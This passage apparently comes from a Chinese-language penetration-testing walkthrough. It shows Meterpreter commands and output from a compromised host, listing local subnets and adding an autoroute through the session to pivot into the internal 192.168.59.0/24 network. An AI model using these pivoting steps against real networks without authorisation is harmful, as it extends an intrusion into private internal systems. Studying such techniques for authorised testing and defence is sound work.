meterpreter > run get_local_subnets [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Local subnet: 172.17.0.0/255.255.0.0 Local subnet: 192.168.59.0/255.255.255.0
可见内网网段为192.168.59.0/24
然后使用autoroute模块添加路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
meterpreter > run autoroute -s 192.168.59.0/24 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 192.168.59.0/255.255.255.0... [+] Added route to 192.168.59.0/255.255.255.0 via 125.65.72.15 [*] Use the -p option to list all active routes meterpreter > run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.59.0 255.255.255.0 Session 1